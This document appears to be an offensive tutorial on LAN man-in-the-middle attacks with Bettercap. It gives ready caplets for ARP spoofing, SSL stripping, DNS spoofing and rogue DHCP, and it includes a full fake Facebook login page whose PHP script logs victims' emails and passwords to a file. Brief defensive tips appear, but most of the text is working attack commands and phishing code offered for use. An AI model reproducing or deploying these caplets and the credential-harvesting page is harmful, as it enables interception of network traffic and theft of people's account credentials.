

1. ARP Poisoning Attack using Bettercap

Step-by-Step Commands:

```
sudo bettercap -iface eth0
```

Replace eth0 with your network interface (ifconfig or ip a to check)

Inside Bettercap Console:

```
net.probe on
```

- Scans the LAN for live hosts.

```
net.show
```

- Shows discovered hosts with IP and MAC addresses.

```
set arp.spoof.targets 192.168.1.5
```

- Replace 192.168.1.5 with the **victim's IP**.

```
set arp.spoof.internal true
```

```
arp.spoof on
```

- Enables ARP spoofing for internal routing.

Now you're in the **MITM position**.

2. Caplet for HTTPS Bypass (SSL Stripping)

You can **write this in a .cap file** or type manually inside Bettercap.

Caplet: `https_bypass.cap`

```
cap
```

```
set net.sniff.verbose true
```

```
set net.sniff.local true
```

```
set net.sniff.filter tcp port 80
```

```
net.sniff on
```

```
set arp.spoof.internal true
```

```
set arp.spoof.targets 192.168.1.5
```

```
arp.spoof on
```

```
set http.proxy.sslstrip true
```

```
set http.proxy.sslstrip.everywhere true
```

```
http.proxy on
```

How to Use the Caplet:

```
sudo bettercap -iface eth0 -caplet https_bypass.cap
```

Again, change eth0 to your actual interface name.



Caplet Features:

- **ARP Spoofing** to become MITM
- **SSLStrip** to downgrade HTTPS to HTTP (if possible)
- **Sniff HTTP data** like login credentials



Important Notes

- Modern websites use **HSTS (HTTP Strict Transport Security)**, so SSLStrip may not work on them.
- Browsers like Chrome/Firefox preload HSTS domains, making HTTPS bypass ineffective on major sites (e.g., Gmail, Facebook).
- Use **dns.spoof** + custom payload or **inject.js** with phishing pages for advanced bypassing.



Defensive Tips

- Use **HTTPS everywhere**
- Enable **HSTS** on web servers
- Deploy **ARP Inspection** and **DHCP Snooping** on networks
- Use **VPN** to encrypt traffic



What is DNS Spoofing?

DNS spoofing (aka **DNS cache poisoning**) tricks a target into visiting a **malicious IP** when they try to open a real website.

Example: When victim opens facebook.com, they're redirected to attacker_ip.



Prerequisites

- Kali Linux or any system with **Bettercap installed**
- Victim and attacker on the **same network**
- Ensure **IP forwarding is enabled**:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```



Step-by-Step Commands

```
sudo bettercap -iface eth0
```



Replace eth0 with your real interface name (ip a to check)



In Bettercap Console

```
set arp.spoof.targets 192.168.1.5
set arp.spoof.internal true
arp.spoof on
```

```
set dns.spoof.domains facebook.com
set dns.spoof.address 192.168.1.100
dns.spoof on
```



This means:

- When the victim visits facebook.com, they are redirected to 192.168.1.100 (your fake server)



Caplet File: dns_spoof.cap

cap

```
set arp.spoof.targets 192.168.1.5
set arp.spoof.internal true
arp.spoof on
set dns.spoof.domains facebook.com,youtube.com,instagram.com
set dns.spoof.address 192.168.1.100
dns.spoof on
```



Replace 192.168.1.5 with the **victim's IP**



Replace 192.168.1.100 with your **fake web server IP**



Run the Caplet

```
sudo bettercap -iface eth0 -caplet dns_spoof.cap
```



Setup a Fake Website (Optional)

Run a basic HTTP server to show a phishing or fake page:

```
cd /var/www/html
sudo python3 -m http.server 80
```

Or use a phishing tool like:

- **SET (Social Engineering Toolkit)**
- **Beef Framework**



Countermeasures

Defense	Description
Use HTTPS	Prevents fake IP from impersonating
DNSSEC	Verifies authenticity of DNS reply
Static DNS Entries	Prevents tampering
Split DNS with internal resolver	Blocks external spoofing
Monitor ARP/DNS changes	Use IDS tools like Snort, Suricata



What is DHCP Spoofing?

DHCP spoofing involves running a **fake DHCP server** on the network to provide malicious IP configurations (like fake gateway or DNS).

Once the victim accepts the settings, **you can intercept, redirect, or poison their traffic.**



Requirements:

- Kali Linux or any OS with **Bettercap**
- Both attacker and victim on the **same LAN**

- IP forwarding enabled:

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```



Step-by-Step Manual Commands (Bettercap)

1. Start Bettercap

```
sudo bettercap -iface eth0
```

2. Enable DHCP Spoofing in console:

```
set dhcp.spoof.domain-name evil.com
set dhcp.spoof.gateway 192.168.1.100
set dhcp.spoof.dns 192.168.1.100
set dhcp.spoof.netmask 255.255.255.0
set dhcp.spoof.pool.start 192.168.1.200
set dhcp.spoof.pool.end 192.168.1.210
dhcp.spoof on
```

✅ Explanation:

Parameter	Meaning
domain-name	Assigns fake domain to victim
gateway	Gateway IP (your IP, to MITM)
dns	DNS IP (your IP, for DNS spoofing)
pool.start/end	DHCP IP range to assign victims



Caplet File: dhcp_spoof.cap

cap

```
set dhcp.spoof.domain-name evil.com
set dhcp.spoof.gateway 192.168.1.100
set dhcp.spoof.dns 192.168.1.100
set dhcp.spoof.netmask 255.255.255.0
set dhcp.spoof.pool.start 192.168.1.200
set dhcp.spoof.pool.end 192.168.1.210
dhcp.spoof on
```



Run the Caplet:

```
sudo bettercap -iface eth0 -caplet dhcp_spoof.cap
```



Optional: Combine with DNS Spoof or Phishing

Once DHCP spoofing works:

- Victim uses **your DNS** → use dns.spoof to redirect domains
- Host a fake login page on port 80 using Python or Apache:

```
cd /var/www/html
sudo python3 -m http.server 80
```

Countermeasures (Defense)

Defense	Description
 DHCP Snooping	Restricts DHCP responses to trusted switch ports
 Port Security	Limits unknown MAC addresses
 Static IPs	In critical systems
 User awareness	Alert admins to strange IP/gateway/DNS settings
 IDS/IPS	Detects rogue DHCP behavior

EXAMPLE:

Objective:

Victim opens a real website (like facebook.com) → Gets redirected to attacker's fake login page
→ Enters credentials → Attacker logs them

Required Tools:

- **Bettercap** (for MITM + DNS spoofing)
- **Apache or Python3 web server** (to host fake page)
- **A phishing HTML page**
- **Simple PHP script or logger** (to capture credentials)

Step-by-Step Setup

1. Create the Fake Login Page (HTML + PHP)

 Create a new folder, e.g., /var/www/html/fake-facebook/
index.html (Fake Login Page)

html

```
<!DOCTYPE html>
<html>
<head><title>Facebook</title></head>
<body>
  <h2>Facebook Login</h2>
  <form action="login.php" method="POST">
    Email: <input type="text" name="email"><br>
    Password: <input type="password" name="password"><br>
    <button type="submit">Log In</button>
  </form>
</body>
</html>
```

login.php (Logs Credentials)

php

```
<?php
file_put_contents("creds.txt", "Email: ".$_POST['email']." Password: ".$_POST['password']."\n",
FILE_APPEND);
header("Location: https://facebook.com"); // Redirect to real Facebook
exit();
?>
```

✓ 2. Start a Web Server

Option 1: **Apache**

```
sudo service apache2 start
```

Option 2: **Python**

```
cd /var/www/html/fake-facebook
sudo python3 -m http.server 80
```

✓ 3. Use Bettercap to Redirect Victim

Caplet Example (phishing_redirect.cap):

cap

```
set arp.spoof.targets 192.168.1.5
set arp.spoof.internal true
arp.spoof on
set dns.spoof.domains facebook.com
set dns.spoof.address 192.168.1.100
dns.spoof on
```

Run with:

```
sudo bettercap -iface eth0 -caplet phishing_redirect.cap
    Replace 192.168.1.5 (victim) and 192.168.1.100 (attacker IP) accordingly.
```

✓ 4. View Logged Credentials

If using PHP:

```
cat /var/www/html/fake-facebook/creds.txt
```



Bonus Tips for Realism

- Add favicon and CSS to mimic real login page
- Use browser developer tools to inspect original login pages for design



Defense Tips for Victims

Defense

How it Helps



HTTPS + HSTS

Blocks redirection to fake HTTP pages

-  **Look at the URL** Users should verify the address bar
-  **DNSSEC + Internal DNS** Prevents forged DNS replies
-  **DHCP Snooping** Blocks rogue DHCP server on LAN
-  **User education** Recognize fake login pages

Folder Structure

```
pgsql
CopyEdit
/var/www/html/fake-facebook/
|
├── index.html    ← Fake Facebook login
├── login.php     ← Credential logger
├── style.css     ← Facebook-like styling
├── favicon.ico   ← Facebook icon (optional)
└── creds.txt     ← Captured credentials (auto-created)
```

index.html

html

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Facebook – log in or sign up</title>
  <link rel="stylesheet" href="style.css">
  <link rel="icon" href="favicon.ico">
</head>
<body>
  <div class="login-box">
    <h2>Facebook</h2>
    <form action="login.php" method="POST">
      <input type="text" name="email" placeholder="Email or Phone"><br>
      <input type="password" name="password" placeholder="Password"><br>
      <button type="submit">Log In</button>
    </form>
  </div>
</body>
</html>
```

style.css

css

```
body {
```

```

background-color: #e9ebee;
font-family: Helvetica, Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-box {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0px 0px 10px gray;
text-align: center;
}
.login-box h2 {
color: #1877f2;
font-size: 32px;
}
.login-box input {
display: block;
width: 100%;
padding: 12px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 5px;
}
.login-box button {
background-color: #1877f2;
color: white;
border: none;
padding: 12px;
width: 100%;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}

```

login.php

php

```

<?php
file_put_contents("creds.txt", "Email: ".$_POST['email']." | Password: ".$_POST['password']."\n",
FILE_APPEND);
header("Location: https://facebook.com"); // Redirect to real Facebook
exit();
?>

```

Deployment Steps

1. Copy files to your web root:


```
sudo mkdir -p /var/www/html/fake-facebook
cd /var/www/html/fake-facebook
# Save index.html, login.php, style.css here
```

2. Start the Web Server:

- Apache:

```
sudo service apache2 start
```

- Or Python:

```
sudo python3 -m http.server 80
```



View Captured Credentials

```
cat /var/www/html/fake-facebook/creds.txt
```



Combine with Bettercap DNS Spoofing

Caplet (facebook_spoof.cap):

```
cap
```

```
set arp.spoof.targets 192.168.1.5
set arp.spoof.internal true
arp.spoof on
set dns.spoof.domains facebook.com,www.facebook.com
set dns.spoof.address 192.168.1.100
dns.spoof on
Run:
```

```
sudo bettercap -iface eth0 -caplet facebook_spoof.cap
```

Replace IPs and interface name accordingly.